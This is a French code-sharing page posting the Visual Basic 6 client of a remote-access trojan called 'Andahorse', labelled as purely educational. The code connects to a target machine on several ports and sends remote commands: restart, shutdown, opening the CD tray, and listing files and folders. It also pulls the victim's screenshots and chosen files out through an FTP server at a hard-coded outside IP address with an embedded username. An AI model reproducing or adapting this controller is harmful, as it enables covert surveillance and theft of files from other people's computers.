La partie Client
Contenu du snippet
Dim rh As String
Dim dwn As String
Private Sub Command1_Click()
tcpclient.Close
tcpclient.LocalPort = 0
tcpclient.Connect rh, 1200
Tcpclient2.Close
Tcpclient2.LocalPort = 0
Tcpclient2.Connect rh, 1007
tcpclient3.Close
tcpclient3.LocalPort = 0
tcpclient3.Connect rh, 5000
Winsock1.Close
Winsock1.LocalPort = 0
Winsock1.Connect rh, 6290
Winsock2.Close
Winsock2.LocalPort = 0
Winsock2.Connect rh, 6300
Winsock3.Close
Winsock3.LocalPort = 0
Winsock3.Connect rh, 6390
Winsock4.Close
Winsock4.LocalPort = 0
Winsock4.Connect rh, 7000
Form1.Caption = "Remote control (Connected)"
End Sub
Private Sub Command10_Click()
Dim klp As String
klp = Text1.Text
Winsock1.SendData klp
End Sub
Private Sub Command11_Click()
Dim zay As String
If Dir("c:capturespict.bmp") <> "" Then
Kill ("c:capturespict.bmp")
End If
zay = "putcapture"
tcpclient3.SendData zay
End Sub
Private Sub Command14_Click()
Dim dirf As String
dirf = Text2.Text
Winsock2.SendData dirf
End Sub
Private Sub Command15_Click()
Dim dwn As String
dwn = Text6.Text
Winsock4.SendData dwn
End Sub
Private Sub Command16_Click()
Dim dirf As String
dirf = Text2.Text
Winsock3.SendData dirf
End Sub
Private Sub Command2_Click()
Dim msg3 As String
msg3 = Text4.Text
tcpclient.SendData msg3
End Sub
Private Sub Command3_Click()
Dim msg3 As String
msg3 = Text5.Text
Tcpclient2.SendData msg3
End Sub
Private Sub Command4_Click()
Dim msg3 As String
msg3 = "showform2"
tcpclient.SendData msg3
End Sub
Private Sub Command5_Click()
Dim msg3 As String
msg3 = "restart"
tcpclient.SendData msg3
End Sub
Private Sub Command6_Click()
Dim msg3 As String
msg3 = "turnoff"
tcpclient.SendData msg3
End Sub
Private Sub Command7_Click()
Dim msg3 As String
msg3 = "showform3"
tcpclient.SendData msg3
End Sub
Private Sub Command8_Click()
Dim msg3 As String
msg3 = "opencdrom"
tcpclient.SendData msg3
End Sub
Private Sub Command9_Click()
tcpclient.Close
Tcpclient2.Close
tcpclient3.Close
Winsock1.Close
Winsock2.Close
Winsock3.Close
Winsock4.Close
Form1.Caption = "Remote control (Disconnected)"
End Sub
Private Sub Form_Load()
Form1.Caption = "Andahorse"
tcpclient.RemoteHost = rh
tcpclient.RemotePort = 1200
Tcpclient2.RemoteHost = rh
Tcpclient2.RemotePort = 1007
tcpclient3.RemoteHost = rh
tcpclient3.RemotePort = 5000
Winsock1.RemoteHost = rh
Winsock1.RemotePort = 6290
Winsock2.RemoteHost = rh
Winsock2.RemotePort = 6300
Winsock3.RemoteHost = rh
Winsock3.RemotePort = 6390
Winsock4.RemoteHost = rh
Winsock4.RemotePort = 7000
Label4.Caption = Format(Time, "h:mm:ss")
End Sub
Private Sub Form_Terminate()
tcpclient.Close
Tcpclient2.Close
tcpclient3.Close
Winsock1.Close
Winsock2.Close
Winsock3.Close
Winsock4.Close
End Sub
Private Sub tcpclient_DataArrival(ByVal bytesTotal As Long)
Dim msg As String
tcpclient.GetData msg
If msg = "connexion etablie" Then
Form1.Caption = "Remote control connected"
Else
Form1.Caption = "Remote control (Disconnected)"
End If
End Sub
Private Sub Tcpclient2_DataArrival(ByVal bytesTotal As Long)
Dim fichiers As String
Tcpclient2.GetData fichiers
If fichiers <> "" Then
RichTextBox1 = fichiers
End If
End Sub
Private Sub tcpclient3_DataArrival(ByVal bytesTotal As Long)
Dim yaz As String
Dim x As Integer
tcpclient3.GetData yaz
If yaz = "putterminated" Then
Label2.Caption = "capture d'écran effectué"
Label2.BackColor = &HFF&
Timer1.Enabled = True
End If
End Sub
Private Sub Text3_Change()
rh = Text3.Text
End Sub
Private Sub Timer1_Timer()
Dim x As Integer
Dim y As Integer
Inet4.AccessType = icUseDefault
Inet4.Protocol = icFTP
Inet4.RemoteHost = "185.98.131.135"
Inet4.UserName = "hben12147205"
Inet4.Password = "$$$$$$$$$$$$"
Inet4.Execute , "get pict.bmp c:capturespict.bmp"
x = Inet4.StillExecuting
While x <> 0
x = Inet4.StillExecuting
DoEvents
Wend
Inet4.Execute , "delete pict.bmp"
y = Inet4.StillExecuting
While y <> 0
y = Inet4.StillExecuting
DoEvents
Wend
MsgBox ("en cours de téléchargement")
Inet4.Execute , "quit"
Label2.Caption = ""
Label2.BackColor = &H8000000F
Timer1.Enabled = False
tcpclient.Close
Tcpclient2.Close
tcpclient3.Close
Winsock1.Close
Winsock2.Close
Winsock3.Close
Winsock4.Close
Form1.Caption = "Remote control (Disconnected)"
tcpclient.Close
tcpclient.LocalPort = 0
tcpclient.Connect rh, 1200
Tcpclient2.Close
Tcpclient2.LocalPort = 0
Tcpclient2.Connect rh, 1007
tcpclient3.Close
tcpclient3.LocalPort = 0
tcpclient3.Connect rh, 5000
Winsock1.Close
Winsock1.LocalPort = 0
Winsock1.Connect rh, 6290
Winsock2.Close
Winsock2.LocalPort = 0
Winsock2.Connect rh, 6300
Winsock3.Close
Winsock3.LocalPort = 0
Winsock3.Connect rh, 6390
Winsock4.Close
Winsock4.LocalPort = 0
Winsock4.Connect rh, 7000
Form1.Caption = "Remote control (Connected)"
End Sub
Private Sub Timer2_Timer()
Label4.Caption = Format(Time, "h:mm:ss")
End Sub
Private Sub Timer3_Timer()
Dim x As Integer
Dim y As Integer
Dim mnb As String
Inet4.AccessType = icUseDefault
Inet4.Protocol = icFTP
Inet4.RemoteHost = "185.98.131.135"
Inet4.UserName = "hben12147205"
Inet4.Password = "$$$$$$$$$$$$"
sdf = Mid$(dwn, InStrRev(dwn, "") + 1)
mnb = "get " & sdf & " c:downloads" & "" & sdf
Inet4.Execute , mnb
x = Inet4.StillExecuting
While x <> 0
x = Inet4.StillExecuting
DoEvents
Wend
Inet4.Execute , "delete " & Mid$(dwn, InStrRev(dwn, "") + 1)
y = Inet4.StillExecuting
While y <> 0
y = Inet4.StillExecuting
DoEvents
Wend
Inet4.Execute , "quit"
Label2.Caption = ""
Label2.BackColor = &H8000000F
Timer3.Enabled = False
End Sub
Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long)
Dim dossiers As String
Winsock2.GetData dossiers
If dossiers <> "" Then
RichTextBox2 = dossiers
End If
End Sub
Private Sub Winsock4_DataArrival(ByVal bytesTotal As Long)
Winsock4.GetData dwn
If dwn <> "" Then
Timer3.Enabled = True
End If
End Sub
Compatibilité : Pour des besoins purement éducatifs
Vous n'êtes pas encore membre ?
inscrivez-vous, c'est gratuit et ça prend moins d'une minute !
Les membres obtiennent plus de réponses que les utilisateurs anonymes.
Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.
Le fait d'être membre vous permet d'avoir des options supplémentaires.